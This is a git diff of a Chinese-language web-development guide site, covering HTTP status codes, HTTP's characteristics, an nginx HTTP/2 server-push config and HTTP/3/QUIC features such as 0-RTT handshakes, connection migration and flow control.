                            表示成功处理了请求的状态代码。

                            状态码含义说明
                            200OK成功)服务器已成功处理了请求。 通常,这表示服务器提供了请求的网页。
                            201Created已创建)请求成功并且服务器创建了新的资源。
                            202Accepted已接受)服务器已接受请求,但尚未处理。
                            203Non-Authoritative Information非授权信息)服务器已成功处理了请求,但返回的信息可能来自另一来源。
                            204No Content无内容)服务器成功处理了请求,但没有返回任何内容。
                            205Reset Content重置内容)服务器成功处理了请求,但没有返回任何内容。
                            206Partial Content部分内容)服务器成功处理了部分 GET 请求。使用场景为 HTTP 分块下载和断点续传,当然也会带上相应的响应头 Content-Range
                            207Multi-Status多状态)代表之后的消息体将是一个 XML 消息,并且可能依照之前子请求数量的不同,包含一系列独立的响应代码。
                            208Already Reported已报告)DAV 绑定的成员已经在(多状态)响应之前的部分被列举,且未被再次包含。
                            226IM Used使用的)服务器已经满足了对资源的请求,对实体请求的一个或多个实体操作的结果表示。

                            3xx Redirection 重定向

                            表示要完成请求,需要进一步操作。 通常,这些状态代码用来重定向。

                            状态码含义说明
                            300Multiple Choices多种选择)针对请求,服务器可执行多种操作。服务器可根据请求者选择一项操作,或提供操作列表供请求者选择
                            301Moved Permanently永久重定向)请求的网页已永久移动到新位置。服务器返回此响应时,会自动将请求者转到新位置(响应头 Location 为新 URL)
                            302Found临时重定向)请求的网页已转移到新 URL,Location 首部返回新的 URL,但请求者后续仍然使用原有位置来进行请求
                            303See Other查看其他位置)请求者应当对不同的位置使用单独的 GET 请求来检索响应时,服务器返回此代码
                            304Not Modified未修改)自从上次请求后,请求的网页未修改过。 服务器返回此响应时,不会返回网页内容
                            305Use Proxy使用代理)请求者只能使用代理访问请求的网页。 如果服务器返回此响应,还表示请求者应使用代理
                            307Temporary Redirect临时重定向)与 302 类似,唯一区别是不允许将请求方法从 POST 改为 GET
                            308Permanent Redirect永久重定向) 请求和所有将来的请求应该使用另一个 URI 重复

                            4xx Client Error 客户端错误

                            这些状态代码表示请求可能出错,妨碍了服务器的处理。

                            状态码含义说明
                            400Bad Request错误请求)服务器不理解请求的语法。
                            401Unauthorized未授权)请求要求身份验证。 对于需要登录的网页,服务器可能返回此响应。
                            402Payment Required需要付费
                            403Forbidden禁止)服务器拒绝请求。比如法律禁止、信息敏感等等。
                            404Not Found未找到)服务器找不到请求的网页。
                            405Method Not Allowed不允许的方法)禁用请求中指定的方法。
                            406Not Acceptable不可接受)无法使用请求的内容特性响应请求的网页。
                            407Proxy Authentication Required需要代理授权)此状态代码与 401(未授权)类似,但指定请求者应当授权使用代理。
                            408Request Timeout请求超时)服务器等候请求时发生超时。
                            409Conflict冲突)服务器在完成请求时发生冲突。 服务器必须在响应中包含有关冲突的信息。
                            410Gone已删除)如果请求的资源已永久删除,服务器就会返回此响应。
                            411Length Required需要有效长度)服务器不接受不含有效内容长度标头字段的请求。
                            412Precondition Failed未满足前提条件)服务器未满足请求者在请求中设置的其中一个前提条件。
                            413Payload Too Large请求实体过大)服务器无法处理请求,因为请求实体过大,超出服务器的处理能力。
                            414URI Too Long请求的 URI 过长)请求的 URI(通常为网址)过长,服务器无法处理。
                            415Unsupported Media Type不支持的媒体类型)请求的格式不受请求页面的支持。
                            416Range Not Satisfiable请求范围不符合要求)如果页面无法提供请求的范围,则服务器会返回此状态代码。
                            417Expectation Failed未满足期望值)服务器未满足"期望"请求标头字段的要求。
                            422Unprocessable Entity**(不可处理的实体)**请求格式正确,但是由于含有语义错误,无法响应。
                            423Locked**(已锁定)**当前资源被锁定。
                            424Failed Dependency**(失败的依赖)**由于之前的某个请求发生的错误,导致当前请求失败。
                            431Request Header Fields Too Large**(请求头过大)**请求头的字段内容太大。

                            5xx Server Error 服务端错误

                            这些状态代码表示服务器在尝试处理请求时发生内部错误。 这些错误可能是服务器本身的错误,而不是请求出错。

                            状态码说明
                            500Internal Server Error服务器内部错误)) 通用错误消息,服务器遇到了一个未曾预料的状况,导致了它无法完成对请求的处理。
                            501Not Implemented未执行)服务器不具备完成请求的功能。 例如,服务器无法识别请求方法时可能会返回此代码。
                            502Bad Gateway错误网关)服务器作为网关或代理,从上游服务器收到无效响应。
                            503Service Unavailable服务不可用)服务器目前无法使用(由于超载或停机维护)。通常,这只是暂时状态。
                            504Gateway Timeout网关超时)服务器作为网关或代理,但是没有及时从上游服务器收到请求。
                            505HTTP Version Not SupportedHTTP 版本不受支持)服务器不支持请求中所用的 HTTP 协议版本。
                            506Variant Also Negotiates变体也进行协商
                            507Insufficient Storage存储空间不足)服务器无法存储完成请求所必须的内容。
                            508Loop Detected检测到循环)服务器在处理请求时陷入死循环。
                            509Bandwidth Limit Exceeded带宽限制超出
                            510Not Extended未满足)获取资源所需要的策略并没有被满足。
                            511Network Authentication Required网络认证需要)客户端需要进行身份验证才能获得网络访问权限,旨在限制用户群访问特定网络。

                            黑体状态码为常见状态码

                            参考资料

                            +

                            HTTP 状态码

                            RFC 规定 HTTP 的状态码为三位数,被分为五类:

                            • 1xx:表示目前是协议处理的中间状态,还需要后续操作
                            • 2xx:表示成功状态
                            • 3xx:重定向状态,资源位置发生变动,需要重新请求
                            • 4xx:请求报文有误
                            • 5xx:服务端发生错误

                            1xx Informational 信息化

                            表示临时响应并需要请求者继续执行操作的状态代码。

                            状态码含义说明
                            100Continue继续)请求者应当继续提出请求。 服务器返回此代码表示已收到请求的第一部分,正在等待其余部分。
                            101Switching Protocols交换协议)请求者已要求服务器切换协议,服务器已确认并准备切换。
                            102Processing处理中)该代码表示服务器已经收到并正在处理请求,但无响应可用。[6]这样可以防止客户端超时,并假设请求丢失。

                            2xx Success 成功

                            表示成功处理了请求的状态代码。

                            状态码含义说明
                            200OK成功)服务器已成功处理了请求。 通常,这表示服务器提供了请求的网页。
                            201Created已创建)请求成功并且服务器创建了新的资源。
                            202Accepted已接受)服务器已接受请求,但尚未处理。
                            203Non-Authoritative Information非授权信息)服务器已成功处理了请求,但返回的信息可能来自另一来源。
                            204No Content无内容)服务器成功处理了请求,但没有返回任何内容。
                            205Reset Content重置内容)服务器成功处理了请求,但没有返回任何内容。
                            206Partial Content部分内容)服务器成功处理了部分 GET 请求。使用场景为 HTTP 分块下载和断点续传,当然也会带上相应的响应头 Content-Range
                            207Multi-Status多状态)代表之后的消息体将是一个 XML 消息,并且可能依照之前子请求数量的不同,包含一系列独立的响应代码。
                            208Already Reported已报告)DAV 绑定的成员已经在(多状态)响应之前的部分被列举,且未被再次包含。
                            226IM Used使用的)服务器已经满足了对资源的请求,对实体请求的一个或多个实体操作的结果表示。

                            3xx Redirection 重定向

                            表示要完成请求,需要进一步操作。 通常,这些状态代码用来重定向。

                            状态码含义说明
                            300Multiple Choices多种选择)针对请求,服务器可执行多种操作。服务器可根据请求者选择一项操作,或提供操作列表供请求者选择
                            301Moved Permanently永久重定向)请求的网页已永久移动到新位置。服务器返回此响应时,会自动将请求者转到新位置(响应头 Location 为新 URL)
                            302Found临时重定向)请求的网页已转移到新 URL,Location 首部返回新的 URL,但请求者后续仍然使用原有位置来进行请求
                            303See Other查看其他位置)请求者应当对不同的位置使用单独的 GET 请求来检索响应时,服务器返回此代码
                            304Not Modified未修改)自从上次请求后,请求的网页未修改过。 服务器返回此响应时,不会返回网页内容
                            305Use Proxy使用代理)请求者只能使用代理访问请求的网页。 如果服务器返回此响应,还表示请求者应使用代理
                            307Temporary Redirect临时重定向)与 302 类似,唯一区别是不允许将请求方法从 POST 改为 GET
                            308Permanent Redirect永久重定向) 请求和所有将来的请求应该使用另一个 URI 重复

                            4xx Client Error 客户端错误

                            这些状态代码表示请求可能出错,妨碍了服务器的处理。

                            状态码含义说明
                            400Bad Request错误请求)服务器不理解请求的语法。
                            401Unauthorized未授权)请求要求身份验证。 对于需要登录的网页,服务器可能返回此响应。
                            402Payment Required需要付费
                            403Forbidden禁止)服务器拒绝请求。比如法律禁止、信息敏感等等。
                            404Not Found未找到)服务器找不到请求的网页。
                            405Method Not Allowed不允许的方法)禁用请求中指定的方法。
                            406Not Acceptable不可接受)无法使用请求的内容特性响应请求的网页。
                            407Proxy Authentication Required需要代理授权)此状态代码与 401(未授权)类似,但指定请求者应当授权使用代理。
                            408Request Timeout请求超时)服务器等候请求时发生超时。
                            409Conflict冲突)服务器在完成请求时发生冲突。 服务器必须在响应中包含有关冲突的信息。
                            410Gone已删除)如果请求的资源已永久删除,服务器就会返回此响应。
                            411Length Required需要有效长度)服务器不接受不含有效内容长度标头字段的请求。
                            412Precondition Failed未满足前提条件)服务器未满足请求者在请求中设置的其中一个前提条件。
                            413Payload Too Large请求实体过大)服务器无法处理请求,因为请求实体过大,超出服务器的处理能力。
                            414URI Too Long请求的 URI 过长)请求的 URI(通常为网址)过长,服务器无法处理。
                            415Unsupported Media Type不支持的媒体类型)请求的格式不受请求页面的支持。
                            416Range Not Satisfiable请求范围不符合要求)如果页面无法提供请求的范围,则服务器会返回此状态代码。
                            417Expectation Failed未满足期望值)服务器未满足"期望"请求标头字段的要求。
                            422Unprocessable Entity**(不可处理的实体)**请求格式正确,但是由于含有语义错误,无法响应。
                            423Locked**(已锁定)**当前资源被锁定。
                            424Failed Dependency**(失败的依赖)**由于之前的某个请求发生的错误,导致当前请求失败。
                            431Request Header Fields Too Large**(请求头过大)**请求头的字段内容太大。

                            5xx Server Error 服务端错误

                            这些状态代码表示服务器在尝试处理请求时发生内部错误。 这些错误可能是服务器本身的错误,而不是请求出错。

                            状态码说明
                            500Internal Server Error服务器内部错误)) 通用错误消息,服务器遇到了一个未曾预料的状况,导致了它无法完成对请求的处理。
                            501Not Implemented未执行)服务器不具备完成请求的功能。 例如,服务器无法识别请求方法时可能会返回此代码。
                            502Bad Gateway错误网关)服务器作为网关或代理,从上游服务器收到无效响应。
                            503Service Unavailable服务不可用)服务器目前无法使用(由于超载或停机维护)。通常,这只是暂时状态。
                            504Gateway Timeout网关超时)服务器作为网关或代理,但是没有及时从上游服务器收到请求。
                            505HTTP Version Not SupportedHTTP 版本不受支持)服务器不支持请求中所用的 HTTP 协议版本。
                            506Variant Also Negotiates变体也进行协商
                            507Insufficient Storage存储空间不足)服务器无法存储完成请求所必须的内容。
                            508Loop Detected检测到循环)服务器在处理请求时陷入死循环。
                            509Bandwidth Limit Exceeded带宽限制超出
                            510Not Extended未满足)获取资源所需要的策略并没有被满足。
                            511Network Authentication Required网络认证需要)客户端需要进行身份验证才能获得网络访问权限,旨在限制用户群访问特定网络。

                            黑体状态码为常见状态码

                            参考资料

                            - + diff --git a/computer-networks/http/http/index.html b/computer-networks/http/http/index.html index 6f41b13f1..5511333ec 100644 --- a/computer-networks/http/http/index.html +++ b/computer-networks/http/http/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTTP - JavaScript Guidebook -

                            HTTP 超文本传输协议

                            HTTP 全称是  HyperText Transfer Protocal ,即超文本传输协议。

                            • HTTP 是 应用层协议,当你上网浏览网页的时候,浏览器和 Web 服务器之间就会通过 HTTP 在 Internet 上进行数据的发送和接收。
                            • HTTP 是一个基于请求/响应模式的、无状态的协议。
                            Webpack执行流程

                            特点

                            HTTP 的特点概括如下:

                            1. 灵活可扩展:主要体现在两个方面。一个是语义上的自由,只规定了基本格式,比如空格分隔单词,换行分隔字段,其他的各个部分都没有严格的语法限制。另一个是传输形式的多样性,不仅仅可以传输文本,还能传输图片、视频等任意数据,非常方便。
                            2. 可靠传输:HTTP 基于 TCP/IP,因此把这一特性继承了下来。这属于 TCP 的特性,不具体介绍了。
                            3. 请求-应答:也就是一发一收、有来有回, 当然这个请求方和应答方不单单指客户端和服务器之间,如果某台服务器作为代理来连接后端的服务端,那么这台服务器也会扮演请求方的角色。
                            4. 无状态:这里的状态是指 通信过程的上下文信息,而每次 HTTP 请求都是独立、无关的,默认不需要保留状态信息。

                            缺点

                            无状态

                            所谓的优点和缺点还是要分场景来看的,对于 HTTP 而言,最具争议的地方在于它的 无状态

                            在需要长连接的场景中,需要保存大量的上下文信息,以免传输大量重复的信息,那么这时候无状态就是 HTTP 的缺点了。

                            但与此同时,另外一些应用仅仅只是为了获取一些数据,不需要保存连接上下文信息,无状态反而减少了网络开销,成为了 HTTP 的优点。

                            明文传输

                            即协议里的报文(主要指的是头部)不使用二进制数据,而是文本形式。

                            这当然对于调试提供了便利,但同时也让 HTTP 的报文信息暴露给了外界,给攻击者也提供了便利。WIFI 陷阱 就是利用 HTTP 明文传输的缺点,诱导你连上热点,然后疯狂抓你所有的流量,从而拿到你的敏感信息。

                            队头阻塞问题

                            当 HTTP 开启长连接时,共用一个 TCP 连接,同一时刻只能处理一个请求,那么当前请求耗时过长的情况下,其它的请求只能处于 阻塞状态,也就是著名的队头阻塞问题。

                            参考资料

                            +

                            HTTP 超文本传输协议

                            HTTP 全称是  HyperText Transfer Protocal ,即超文本传输协议。

                            • HTTP 是 应用层协议,当你上网浏览网页的时候,浏览器和 Web 服务器之间就会通过 HTTP 在 Internet 上进行数据的发送和接收。
                            • HTTP 是一个基于请求/响应模式的、无状态的协议。
                            Webpack执行流程

                            特点

                            HTTP 的特点概括如下:

                            1. 灵活可扩展:主要体现在两个方面。一个是语义上的自由,只规定了基本格式,比如空格分隔单词,换行分隔字段,其他的各个部分都没有严格的语法限制。另一个是传输形式的多样性,不仅仅可以传输文本,还能传输图片、视频等任意数据,非常方便。
                            2. 可靠传输:HTTP 基于 TCP/IP,因此把这一特性继承了下来。这属于 TCP 的特性,不具体介绍了。
                            3. 请求-应答:也就是一发一收、有来有回, 当然这个请求方和应答方不单单指客户端和服务器之间,如果某台服务器作为代理来连接后端的服务端,那么这台服务器也会扮演请求方的角色。
                            4. 无状态:这里的状态是指 通信过程的上下文信息,而每次 HTTP 请求都是独立、无关的,默认不需要保留状态信息。

                            缺点

                            无状态

                            所谓的优点和缺点还是要分场景来看的,对于 HTTP 而言,最具争议的地方在于它的 无状态

                            在需要长连接的场景中,需要保存大量的上下文信息,以免传输大量重复的信息,那么这时候无状态就是 HTTP 的缺点了。

                            但与此同时,另外一些应用仅仅只是为了获取一些数据,不需要保存连接上下文信息,无状态反而减少了网络开销,成为了 HTTP 的优点。

                            明文传输

                            即协议里的报文(主要指的是头部)不使用二进制数据,而是文本形式。

                            这当然对于调试提供了便利,但同时也让 HTTP 的报文信息暴露给了外界,给攻击者也提供了便利。WIFI 陷阱 就是利用 HTTP 明文传输的缺点,诱导你连上热点,然后疯狂抓你所有的流量,从而拿到你的敏感信息。

                            队头阻塞问题

                            当 HTTP 开启长连接时,共用一个 TCP 连接,同一时刻只能处理一个请求,那么当前请求耗时过长的情况下,其它的请求只能处于 阻塞状态,也就是著名的队头阻塞问题。

                            参考资料

                            - + diff --git a/computer-networks/http/http2/index.html b/computer-networks/http/http2/index.html index 684907860..51e79b474 100644 --- a/computer-networks/http/http2/index.html +++ b/computer-networks/http/http2/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -41,12 +44,12 @@
                            root /var/www/html;
                            http2_push_preload on;
                            location = /demo.html {
                            add_header Set-Cookie "session=1";
                            add_header Link $resources;
                            }
                            }
                            -
                            map $http_cookie $resources {
                            "~*session=1" "";
                            default "</style.css>; as=style; rel=preload";
                            }

                            安全提升

                            HTTP/2 是不是必须基于 TLS/SSL 协议?

                            参考资料

                            +
                            map $http_cookie $resources {
                            "~*session=1" "";
                            default "</style.css>; as=style; rel=preload";
                            }

                            安全提升

                            HTTP/2 是不是必须基于 TLS/SSL 协议?

                            参考资料

                            - + diff --git a/computer-networks/http/http3/index.html b/computer-networks/http/http3/index.html index be9b7254d..2d51b0330 100644 --- a/computer-networks/http/http3/index.html +++ b/computer-networks/http/http3/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTTP3 - JavaScript Guidebook -

                            HTTP3

                            HTTP 发展历史

                            • HTTP/0.9 - 1991 单行协议:只支持 GET 方法;没有首部;只能获取纯文本
                            • HTTP/1.0 - 1996 搭建协议框架:增加了首部、状态码、权限、缓存、长连接(默认短连接)等规范
                            • HTTP/1.1 - 1997 默认长连接;缓存字段扩展;强制客户端提供 Host 首部;管线化
                              • SPDY - 2012 强制压缩、多路复用、Pipeling、双向通信、优先级调用
                            • HTTP/2 - 2015 头部压缩、多路复用、Pipelining、Server push(解决 HTTP 队首阻塞)
                            • HTTP/3 - 2018 快速握手、可靠传输、有序交付(解决 TCP 队首阻塞)

                            应用层传输层网络层
                            HTTPTCPIP
                            HTTP/2 + TLS/1.2+TCPIP
                            HTTP/3 + TLS/1.3QUIC(UDP)IP

                            • 🗑 TLS1.1- 由于安全因素,已经或将要废弃
                            • TLS 1.2 当今的主流版本
                            • TLS 1.3 简化了握手流程,增强了安全性

                            旧版本存在问题

                            虽然 HTTP/2 解决了很多之前旧版本的问题,但是它还是存在一个巨大的问题,主要是底层支撑的 TCP 协议造成的。HTTP/2 的缺点主要有以下两点:

                            • 建立连接的延时:HTTP/2 使用 TCP 协议来传输的,而如果使用 HTTPS 的话,还需要使用 TLS 协议进行安全传输,而使用 TLS 也需要一个握手过程,这样就需要有两个握手延迟过程
                            • 队头阻塞并没有彻底解决:在 HTTP/2 中,多个请求是跑在一个 TCP 管道中的。但当出现了丢包时,HTTP/2 的表现反倒不如 HTTP/1 了。因为 TCP 为了保证可靠传输,有个 丢包重传 机制,丢失的包必须要等待重新传输确认,HTTP/2 出现丢包时,整个 TCP 都要开始等待重传,那么就会阻塞该 TCP 连接中的所有请求。而对于 HTTP/1.1 来说,可以开启多个 TCP 连接,出现这种情况反到只会影响其中一个连接,剩余的 TCP 连接还可以正常传输数据

                            HTTP3 简介

                            Google 在推 SPDY 的时候就已经意识到了这些问题,于是就另起炉灶搞了一个基于 UDP 协议的“QUIC”协议,让 HTTP 跑在 QUIC 上而不是 TCP 上。 而这个“HTTP over QUIC”就是 HTTP 协议的下一个大版本,HTTP/3。

                            QUIC 协议

                            QUIC 虽然基于 UDP,但是在原本的基础上新增了很多功能,接下来我们重点介绍几个 QUIC 新功能。不过 HTTP/3 目前还处于草案阶段,正式发布前可能会有变动,所以本文尽量不涉及那些不稳定的细节。

                            新特性

                            零 RTT 建立连接

                            HTTP/2 的连接需要 3 RTT,如果考虑会话复用,即把第一次握手算出来的对称密钥缓存起来,那么也需要 2 RTT,更进一步的,如果 TLS 升级到 1.3,那么 HTTP/2 连接需要 2 RTT,考虑会话复用则需要 1 RTT。

                            有人会说 HTTP/2 不一定需要 HTTPS,握手过程还可以简化。这没毛病,HTTP/2 的标准的确不需要基于 HTTPS,但实际上所有浏览器的实现都要求 HTTP/2 必须基于 HTTPS,所以 HTTP/2 的加密连接必不可少。

                            而 HTTP/3 首次连接只需要 1 RTT,后面的连接更是只需 0 RTT,意味着客户端发给服务端的第一个包就带有请求数据,这一点 HTTP/2 难以望其项背。那这背后是什么原理呢?我们具体看下 QUIC 的连接过程。

                            1. 首次连接时,客户端发送 Inchoate Client Hello 给服务端,用于请求连接;
                            2. 服务端生成 g、p、a,根据 g、p 和 a 算出 A,然后将 g、p、A 放到 Server Config 中再发送 Rejection 消息给客户端;
                            3. 客户端接收到 g、p、A 后,自己再生成 b,根据 g、p、b 算出 B,根据 A、p、b 算出初始密钥 K。B 和 K 算好后,客户端会用 K 加密 HTTP 数据,连同 B 一起发送给服务端;
                            4. 服务端接收到 B 后,根据 a、p、B 生成与客户端同样的密钥,再用这密钥解密收到的 HTTP 数据。为了进一步的安全(前向安全性),服务端会更新自己的随机数 a 和公钥,再生成新的密钥 S,然后把公钥通过 Server Hello 发送给客户端。连同 Server Hello 消息,还有 HTTP 返回数据;
                            5. 客户端收到 Server Hello 后,生成与服务端一致的新密钥 S,后面的传输都使用 S 加密。

                            这样,QUIC 从请求连接到正式接发 HTTP 数据一共花了 1 RTT,这 1 个 RTT 主要是为了获取 Server Config,后面的连接如果客户端缓存了 Server Config,那么就可以直接发送 HTTP 数据,实现 0 RTT 建立连接。

                            这里使用的是 DH 密钥交换算法,DH 算法的核心就是服务端生成 a、g、p 3 个随机数,a 自己持有,g 和 p 要传输给客户端,而客户端会生成 b 这 1 个随机数,通过 DH 算法客户端和服务端可以算出同样的密钥。在这过程中 a 和 b 并不参与网络传输,安全性大大提高。因为 p 和 g 是大数,所以即使在网络中传输的 p、g、A、B 都被劫持,那么靠现在的计算机算力也没法破解密钥。

                            连接迁移

                            TCP 连接基于四元组(源 IP、源端口、目的 IP、目的端口),切换网络时至少会有一个因素发生变化,导致连接发生变化。当连接发生变化时,如果还使用原来的 TCP 连接,则会导致连接失败,就得等原来的连接超时后重新建立连接,所以我们有时候发现切换到一个新网络时,即使新网络状况良好,但内容还是需要加载很久。如果实现得好,当检测到网络变化时立刻建立新的 TCP 连接,即使这样,建立新的连接还是需要几百毫秒的时间。

                            QUIC 的连接不受四元组的影响,当这四个元素发生变化时,原连接依然维持。那这是怎么做到的呢?道理很简单,QUIC 连接不以四元组作为标识,而是使用一个 64 位的随机数,这个随机数被称为 Connection ID,即使 IP 或者端口发生变化,只要 Connection ID 没有变化,那么连接依然可以维持。

                            队头阻塞和多路复用

                            队头阻塞会导致 HTTP/2 在更容易丢包的弱网络环境下比 HTTP/1.1 更慢!

                            那 QUIC 是如何解决队头阻塞问题的呢?主要有两点。

                            • QUIC 的传输单元是 Packet,加密单元也是 Packet,整个加密、传输、解密都基于 Packet,这样就能避免 TLS 的队头阻塞问题
                            • QUIC 基于 UDP,UDP 的数据包在接收端没有处理顺序,即使中间丢失一个包,也不会阻塞整条连接,其他的资源会被正常处理

                            拥塞控制

                            拥塞控制的目的是避免过多的数据一下子涌入网络,导致网络超出最大负荷。QUIC 的拥塞控制与 TCP 类似,并在此基础上做了改进。所以我们先简单介绍下 TCP 的拥塞控制。

                            TCP 拥塞控制由 4 个核心算法组成:慢启动、拥塞避免、快速重传和快速恢复,理解了这 4 个算法,对 TCP 的拥塞控制也就有了大概了解。

                            • 慢启动:发送方向接收方发送 1 个单位的数据,收到对方确认后会发送 2 个单位的数据,然后依次是 4 个、8 个……呈指数级增长,这个过程就是在不断试探网络的拥塞程度,超出阈值则会导致网络拥塞;
                            • 拥塞避免:指数增长不可能是无限的,到达某个限制(慢启动阈值)之后,指数增长变为线性增长;
                            • 快速重传:发送方每一次发送时都会设置一个超时计时器,超时后即认为丢失,需要重发;
                            • 快速恢复:在上面快速重传的基础上,发送方重新发送数据时,也会启动一个超时定时器,如果收到确认消息则进入拥塞避免阶段,如果仍然超时,则回到慢启动阶段。

                            QUIC 重新实现了 TCP 协议的 Cubic 算法进行拥塞控制,并在此基础上做了不少改进。下面介绍一些 QUIC 改进的拥塞控制的特性。

                            热插拔

                            TCP 中如果要修改拥塞控制策略,需要在系统层面进行操作。QUIC 修改拥塞控制策略只需要在应用层操作,并且 QUIC 会根据不同的网络环境、用户来动态选择拥塞控制算法。

                            前向纠错 FEC

                            QUIC 使用前向纠错(FEC,Forward Error Correction)技术增加协议的容错性。一段数据被切分为 10 个包后,依次对每个包进行异或运算,运算结果会作为 FEC 包与数据包一起被传输,如果不幸在传输过程中有一个数据包丢失,那么就可以根据剩余 9 个包以及 FEC 包推算出丢失的那个包的数据,这样就大大增加了协议的容错性。

                            这是符合现阶段网络技术的一种方案,现阶段带宽已经不是网络传输的瓶颈,往返时间才是,所以新的网络传输协议可以适当增加数据冗余,减少重传操作。

                            单调递增的 Packet Number

                            TCP 为了保证可靠性,使用 Sequence Number 和 ACK 来确认消息是否有序到达,但这样的设计存在缺陷。

                            超时发生后客户端发起重传,后来接收到了 ACK 确认消息,但因为原始请求和重传请求接收到的 ACK 消息一样,所以客户端就郁闷了,不知道这个 ACK 对应的是原始请求还是重传请求。如果客户端认为是原始请求的 ACK,但实际上是左图的情形,则计算的采样 RTT 偏大;如果客户端认为是重传请求的 ACK,但实际上是右图的情形,又会导致采样 RTT 偏小。图中有几个术语,RTO 是指超时重传时间(Retransmission TimeOut),跟我们熟悉的 RTT(Round Trip Time,往返时间)很长得很像。采样 RTT 会影响 RTO 计算,超时时间的准确把握很重要,长了短了都不合适。

                            QUIC 解决了上面的歧义问题。与 Sequence Number 不同的是,Packet Number 严格单调递增,如果 Packet N 丢失了,那么重传时 Packet 的标识不会是 N,而是比 N 大的数字,比如 N + M,这样发送方接收到确认消息时就能方便地知道 ACK 对应的是原始请求还是重传请求。

                            ACK Delay

                            TCP 计算 RTT 时没有考虑接收方接收到数据到发送确认消息之间的延迟,如下图所示,这段延迟即 ACK Delay。QUIC 考虑了这段延迟,使得 RTT 的计算更加准确。

                            更多的 ACK 块

                            一般来说,接收方收到发送方的消息后都应该发送一个 ACK 回复,表示收到了数据。但每收到一个数据就返回一个 ACK 回复太麻烦,所以一般不会立即回复,而是接收到多个数据后再回复,TCP SACK 最多提供 3 个 ACK block。但有些场景下,比如下载,只需要服务器返回数据就好,但按照 TCP 的设计,每收到 3 个数据包就要“礼貌性”地返回一个 ACK。而 QUIC 最多可以捎带 256 个 ACK block。在丢包率比较严重的网络下,更多的 ACK block 可以减少重传量,提升网络效率。

                            流量控制

                            TCP 会对每个 TCP 连接进行流量控制,流量控制的意思是让发送方不要发送太快,要让接收方来得及接收,不然会导致数据溢出而丢失,TCP 的流量控制主要通过滑动窗口来实现的。可以看出,拥塞控制主要是控制发送方的发送策略,但没有考虑到接收方的接收能力,流量控制是对这部分能力的补齐。

                            QUIC 只需要建立一条连接,在这条连接上同时传输多条 Stream,好比有一条道路,两头分别有一个仓库,道路中有很多车辆运送物资。QUIC 的流量控制有两个级别:连接级别(Connection Level)和 Stream 级别(Stream Level),好比既要控制这条路的总流量,不要一下子很多车辆涌进来,货物来不及处理,也不能一个车辆一下子运送很多货物,这样货物也来不及处理。

                            那 QUIC 是怎么实现流量控制的呢?我们先看单条 Stream 的流量控制。Stream 还没传输数据时,接收窗口(flow control receive window)就是最大接收窗口(flow control receive window),随着接收方接收到数据后,接收窗口不断缩小。在接收到的数据中,有的数据已被处理,而有的数据还没来得及被处理。如下图所示,蓝色块表示已处理数据,黄色块表示未处理数据,这部分数据的到来,使得 Stream 的接收窗口缩小。

                            随着数据不断被处理,接收方就有能力处理更多数据。当满足 (flow control receive offset - consumed bytes) < (max receive window / 2) 时,接收方会发送 WINDOW_UPDATE frame 告诉发送方你可以再多发送些数据过来。这时 flow control receive offset 就会偏移,接收窗口增大,发送方可以发送更多数据到接收方。

                            Stream 级别对防止接收端接收过多数据作用有限,更需要借助 Connection 级别的流量控制。理解了 Stream 流量那么也很好理解 Connection 流控。Stream 中,接收窗口(flow control receive window) = 最大接收窗口(max receive window) - 已接收数据(highest received byte offset) ,而对 Connection 来说:接收窗口 = Stream1 接收窗口 + Stream2 接收窗口 + ... + StreamN 接收窗口 。

                            参考资料

                            +

                            HTTP3

                            HTTP 发展历史

                            • HTTP/0.9 - 1991 单行协议:只支持 GET 方法;没有首部;只能获取纯文本
                            • HTTP/1.0 - 1996 搭建协议框架:增加了首部、状态码、权限、缓存、长连接(默认短连接)等规范
                            • HTTP/1.1 - 1997 默认长连接;缓存字段扩展;强制客户端提供 Host 首部;管线化
                              • SPDY - 2012 强制压缩、多路复用、Pipeling、双向通信、优先级调用
                            • HTTP/2 - 2015 头部压缩、多路复用、Pipelining、Server push(解决 HTTP 队首阻塞)
                            • HTTP/3 - 2018 快速握手、可靠传输、有序交付(解决 TCP 队首阻塞)

                            应用层传输层网络层
                            HTTPTCPIP
                            HTTP/2 + TLS/1.2+TCPIP
                            HTTP/3 + TLS/1.3QUIC(UDP)IP

                            • 🗑 TLS1.1- 由于安全因素,已经或将要废弃
                            • TLS 1.2 当今的主流版本
                            • TLS 1.3 简化了握手流程,增强了安全性

                            旧版本存在问题

                            虽然 HTTP/2 解决了很多之前旧版本的问题,但是它还是存在一个巨大的问题,主要是底层支撑的 TCP 协议造成的。HTTP/2 的缺点主要有以下两点:

                            • 建立连接的延时:HTTP/2 使用 TCP 协议来传输的,而如果使用 HTTPS 的话,还需要使用 TLS 协议进行安全传输,而使用 TLS 也需要一个握手过程,这样就需要有两个握手延迟过程
                            • 队头阻塞并没有彻底解决:在 HTTP/2 中,多个请求是跑在一个 TCP 管道中的。但当出现了丢包时,HTTP/2 的表现反倒不如 HTTP/1 了。因为 TCP 为了保证可靠传输,有个 丢包重传 机制,丢失的包必须要等待重新传输确认,HTTP/2 出现丢包时,整个 TCP 都要开始等待重传,那么就会阻塞该 TCP 连接中的所有请求。而对于 HTTP/1.1 来说,可以开启多个 TCP 连接,出现这种情况反到只会影响其中一个连接,剩余的 TCP 连接还可以正常传输数据

                            HTTP3 简介

                            Google 在推 SPDY 的时候就已经意识到了这些问题,于是就另起炉灶搞了一个基于 UDP 协议的“QUIC”协议,让 HTTP 跑在 QUIC 上而不是 TCP 上。 而这个“HTTP over QUIC”就是 HTTP 协议的下一个大版本,HTTP/3。

                            QUIC 协议

                            QUIC 虽然基于 UDP,但是在原本的基础上新增了很多功能,接下来我们重点介绍几个 QUIC 新功能。不过 HTTP/3 目前还处于草案阶段,正式发布前可能会有变动,所以本文尽量不涉及那些不稳定的细节。

                            新特性

                            零 RTT 建立连接

                            HTTP/2 的连接需要 3 RTT,如果考虑会话复用,即把第一次握手算出来的对称密钥缓存起来,那么也需要 2 RTT,更进一步的,如果 TLS 升级到 1.3,那么 HTTP/2 连接需要 2 RTT,考虑会话复用则需要 1 RTT。

                            有人会说 HTTP/2 不一定需要 HTTPS,握手过程还可以简化。这没毛病,HTTP/2 的标准的确不需要基于 HTTPS,但实际上所有浏览器的实现都要求 HTTP/2 必须基于 HTTPS,所以 HTTP/2 的加密连接必不可少。

